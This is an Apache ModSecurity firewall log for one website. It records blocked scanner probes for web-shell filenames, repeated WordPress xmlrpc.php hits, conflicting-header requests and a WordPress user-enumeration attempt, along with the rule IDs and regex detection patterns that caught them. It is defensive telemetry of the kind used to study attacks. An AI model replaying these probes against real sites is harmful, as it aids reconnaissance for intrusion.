[Sat Jan 10 00:27:04.029010 2026] [:error] [pid 1366:tid 1378] [client 20.184.48.132:34335] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aWEsWBmasveKu8_ec1WtMwAAAYk"]
[Sat Jan 10 00:27:05.077220 2026] [:error] [pid 1366:tid 1392] [client 20.184.48.132:1243] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aWEsWRmasveKu8_ec1WtNAAAAZc"]
[Sat Jan 10 00:27:05.953716 2026] [:error] [pid 1366:tid 1373] [client 20.184.48.132:22051] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aWEsWRmasveKu8_ec1WtNQAAAYQ"]
[Sat Jan 10 00:27:08.064862 2026] [:error] [pid 14872:tid 14876] [client 20.184.48.132:25360] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aWEsXKIUELhgYLNp1sZdygAAAsI"]
[Sat Jan 10 00:27:10.383826 2026] [:error] [pid 14739:tid 14762] [client 20.184.48.132:27176] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aWEsXl63M6_PkLt_IJKJGQAAAdU"]
[Sat Jan 10 00:27:11.717895 2026] [:error] [pid 14801:tid 14825] [client 20.184.48.132:23269] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aWEsX98UWXrz_OQYgF2HvQAAAlY"]
[Sat Jan 10 00:27:13.954504 2026] [:error] [pid 30019:tid 30045] [client 20.184.48.132:27620] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aWEsYUz3igHGwX5f7IoR9QAAABU"]
[Sat Jan 10 00:27:15.442386 2026] [:error] [pid 1366:tid 1382] [client 20.184.48.132:27603] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aWEsYxmasveKu8_ec1WtPwAAAY0"]
[Sat Jan 10 00:27:18.275371 2026] [:error] [pid 14770:tid 14776] [client 20.184.48.132:23258] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aWEsZh5QbaVZ-6newJZgDgAAAgQ"]
[Sat Jan 10 00:27:20.000294 2026] [:error] [pid 44848:tid 44866] [client 20.184.48.132:22048] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aWEsZ6jajoTJAbEk87z65wAAAFA"]
[Sat Jan 10 00:32:01.300779 2026] [:error] [pid 30021:tid 30103] [client 191.252.186.12:46252] [client 191.252.186.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.252.186.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWEtgQ_M8aRtsTog5J_JSgAAANY"]
[Sat Jan 10 00:56:47.317159 2026] [:error] [pid 1366:tid 1382] [client 101.42.46.71:56520] [client 101.42.46.71] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWEzTxmasveKu8_ec1W1PgAAAY0"]
[Sat Jan 10 02:00:26.079675 2026] [:error] [pid 1366:tid 1384] [client 85.239.234.122:43806] [client 85.239.234.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.239.234.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWFCOhmasveKu8_ec1XI4wAAAY8"]
[Sat Jan 10 02:33:33.687490 2026] [:error] [pid 30020:tid 30056] [client 72.167.140.163:55820] [client 72.167.140.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.167.140.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWFJ_crjc66qOisG6L0JVAAAAII"]
[Sat Jan 10 02:35:05.375940 2026] [:error] [pid 30020:tid 30058] [client 195.88.82.88:58268] [client 195.88.82.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.88.82.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWFKWcrjc66qOisG6L0JjAAAAIQ"]
[Sat Jan 10 02:35:08.248624 2026] [:error] [pid 44848:tid 44857] [client 195.88.82.88:58484] [client 195.88.82.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.88.82.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWFKXKjajoTJAbEk87wVbQAAAEc"]
[Sat Jan 10 02:35:31.502499 2026] [:error] [pid 1366:tid 1377] [client 220.158.234.222:52066] [client 220.158.234.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 220.158.234.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWFKcxmasveKu8_ec1XSMAAAAYg"]
[Sat Jan 10 02:35:33.707519 2026] [:error] [pid 30019:tid 30047] [client 220.158.234.222:52078] [client 220.158.234.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 220.158.234.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWFKdUz3igHGwX5f7IoppQAAABc"]
[Sat Jan 10 02:35:35.907253 2026] [:error] [pid 30019:tid 30032] [client 220.158.234.222:21192] [client 220.158.234.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 220.158.234.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWFKd0z3igHGwX5f7IoppgAAAAg"]
[Sat Jan 10 02:35:38.000353 2026] [:error] [pid 30019:tid 30024] [client 220.158.234.222:21204] [client 220.158.234.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 220.158.234.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWFKeUz3igHGwX5f7IoppwAAAAA"]
[Sat Jan 10 02:38:17.376398 2026] [:error] [pid 14801:tid 14803] [client 163.223.13.96:52074] [client 163.223.13.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.223.13.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWFLGd8UWXrz_OQYgF2YywAAAkA"]
[Sat Jan 10 02:38:20.057860 2026] [:error] [pid 30021:tid 30091] [client 163.223.13.96:52090] [client 163.223.13.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.223.13.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWFLHA_M8aRtsTog5J_eEgAAAMo"]
[Sat Jan 10 02:38:22.137167 2026] [:error] [pid 44848:tid 44870] [client 163.223.13.96:52096] [client 163.223.13.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.223.13.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWFLHqjajoTJAbEk87wV7QAAAFQ"]
[Sat Jan 10 02:38:24.164460 2026] [:error] [pid 1366:tid 1386] [client 163.223.13.96:52112] [client 163.223.13.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.223.13.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWFLIBmasveKu8_ec1XS5wAAAZE"]
[Sat Jan 10 03:27:59.629813 2026] [:error] [pid 14739:tid 14745] [client 103.48.82.186:43320] [client 103.48.82.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.48.82.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWFWv163M6_PkLt_IJKd0QAAAcQ"]
[Sat Jan 10 03:47:58.726181 2026] [:error] [pid 54957:tid 54993] [client 148.113.204.52:36632] [client 148.113.204.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.204.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWFbbnLA6Jii4o063sbu9QAAABc"]
[Sat Jan 10 04:50:39.443449 2026] [:error] [pid 20648:tid 20732] [client 103.48.82.186:54362] [client 103.48.82.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.48.82.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWFqHzBnnIoBkEBdx9D2SQAAAJc"]
[Sat Jan 10 04:57:13.164380 2026] [:error] [pid 20647:tid 20693] [client 62.84.186.201:54992] [client 62.84.186.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.84.186.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWFrqavb0x69MarUHzCZNgAAAEs"]
[Sat Jan 10 05:18:50.139663 2026] [:error] [pid 20744:tid 20759] [client 135.236.141.8:60848] [client 135.236.141.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.236.141.8, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWFwukA8oR5jvkFpcP9bzwAAAMI"]
[Sat Jan 10 06:21:12.961668 2026] [:error] [pid 20646:tid 20658] [client 66.70.178.228:44260] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWF_WCKwdq_UhOM64b61CwAAAAM"]
[Sat Jan 10 07:00:39.011601 2026] [:error] [pid 20647:tid 20686] [client 36.41.75.167:51611] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWGIl6vb0x69MarUHzC0-AAAAEQ"]
[Sat Jan 10 07:44:47.478837 2026] [:error] [pid 31369:tid 31387] [client 80.239.207.207:60132] [client 80.239.207.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.239.207.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWGS77gqeMKgT1uTxuIJbgAAAVA"]
[Sat Jan 10 10:05:23.158270 2026] [:error] [pid 20647:tid 20690] [client 173.201.252.7:29266] [client 173.201.252.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.201.252.7, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWGz46vb0x69MarUHzDNbgAAAEg"]
[Sat Jan 10 10:31:49.157994 2026] [:error] [pid 20646:tid 20658] [client 177.53.143.86:52178] [client 177.53.143.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.53.143.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWG6FSKwdq_UhOM64b7VlgAAAAM"]
[Sat Jan 10 10:31:53.975226 2026] [:error] [pid 20646:tid 20673] [client 177.53.143.86:52468] [client 177.53.143.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.53.143.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWG6GSKwdq_UhOM64b7VuQAAABI"]
[Sat Jan 10 10:31:57.780559 2026] [:error] [pid 20744:tid 20772] [client 177.53.143.86:52646] [client 177.53.143.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.53.143.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWG6HUA8oR5jvkFpcP-djgAAAM8"]
[Sat Jan 10 10:32:01.510816 2026] [:error] [pid 20647:tid 20682] [client 177.53.143.86:52836] [client 177.53.143.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.53.143.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWG6Iavb0x69MarUHzDQ2wAAAEA"]
[Sat Jan 10 10:34:26.721749 2026] [:error] [pid 20744:tid 20771] [client 198.23.185.53:42426] [client 198.23.185.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.23.185.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWG6skA8oR5jvkFpcP-d7wAAAM4"]
[Sat Jan 10 10:34:29.172074 2026] [:error] [pid 31369:tid 31381] [client 198.23.185.53:42430] [client 198.23.185.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.23.185.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWG6tbgqeMKgT1uTxuIyUQAAAUo"]
[Sat Jan 10 10:34:31.243565 2026] [:error] [pid 20646:tid 20664] [client 198.23.185.53:42442] [client 198.23.185.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.23.185.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWG6tyKwdq_UhOM64b7WFQAAAAk"]
[Sat Jan 10 10:34:33.189348 2026] [:error] [pid 20648:tid 20731] [client 198.23.185.53:42448] [client 198.23.185.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.23.185.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWG6uTBnnIoBkEBdx9A3FwAAAJY"]
[Sat Jan 10 11:54:39.369750 2026] [:error] [pid 20648:tid 20714] [client 62.138.0.210:40028] [client 62.138.0.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.138.0.210, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWHNfzBnnIoBkEBdx9BD-QAAAIU"]
[Sat Jan 10 13:14:00.086713 2026] [:error] [pid 1296:tid 1316] [client 203.2.64.59:53823] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWHgGCbQW-fowWjMNKBN3wAAAlI"]
[Sat Jan 10 13:15:50.498103 2026] [:error] [pid 57088:tid 57096] [client 144.217.252.106:57276] [client 144.217.252.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.217.252.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWHghkGS_UStbgMYQWjnKQAAAgY"]
[Sat Jan 10 14:37:47.201564 2026] [:error] [pid 1296:tid 1303] [client 13.215.220.218:54948] [client 13.215.220.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.215.220.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWHzuybQW-fowWjMNKBYOQAAAkU"]
[Sat Jan 10 16:51:24.571871 2026] [:error] [pid 1296:tid 1309] [client 170.106.192.3:42414] [client 170.106.192.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWITDCbQW-fowWjMNKBphQAAAks"]
[Sat Jan 10 17:31:39.533522 2026] [:error] [pid 20646:tid 20672] [client 157.90.79.58:43892] [client 157.90.79.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.90.79.58, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWIceyKwdq_UhOM64b4EOgAAABE"]
[Sat Jan 10 18:35:17.779098 2026] [:error] [pid 1296:tid 1298] [client 198.54.114.124:55328] [client 198.54.114.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.54.114.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWIrZSbQW-fowWjMNKB6mQAAAkA"]
[Sat Jan 10 18:35:21.201520 2026] [:error] [pid 1249:tid 1264] [client 198.54.114.124:55334] [client 198.54.114.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.54.114.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWIraUtd4KGpcdnrDZWW5AAAAMw"]
[Sat Jan 10 18:58:37.608448 2026] [:error] [pid 64621:tid 64644] [client 156.67.31.208:59374] [client 156.67.31.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.31.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWIw3Ya9na_3sfYAP9qgiQAAAxU"]
[Sat Jan 10 19:13:20.648614 2026] [:error] [pid 1249:tid 1274] [client 103.82.211.120:53881] [client 103.82.211.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.82.211.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWI0UEtd4KGpcdnrDZWatgAAANY"]
[Sat Jan 10 19:23:42.813591 2026] [:error] [pid 20646:tid 20669] [client 103.82.211.120:54004] [client 103.82.211.120] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aWI2viKwdq_UhOM64b4PUgAAAA4"]
[Sat Jan 10 19:24:55.825725 2026] [:error] [pid 1249:tid 1272] [client 103.82.211.120:45316] [client 103.82.211.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.82.211.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWI3B0td4KGpcdnrDZWcOAAAANQ"]
[Sat Jan 10 19:26:03.969098 2026] [:error] [pid 57649:tid 57652] [client 103.82.211.120:53790] [client 103.82.211.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.82.211.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWI3S1cvIwrych3kBnovcwAAAoE"]
[Sat Jan 10 19:27:09.848432 2026] [:error] [pid 64621:tid 64628] [client 103.82.211.120:53515] [client 103.82.211.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.82.211.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWI3jYa9na_3sfYAP9qkagAAAwU"]
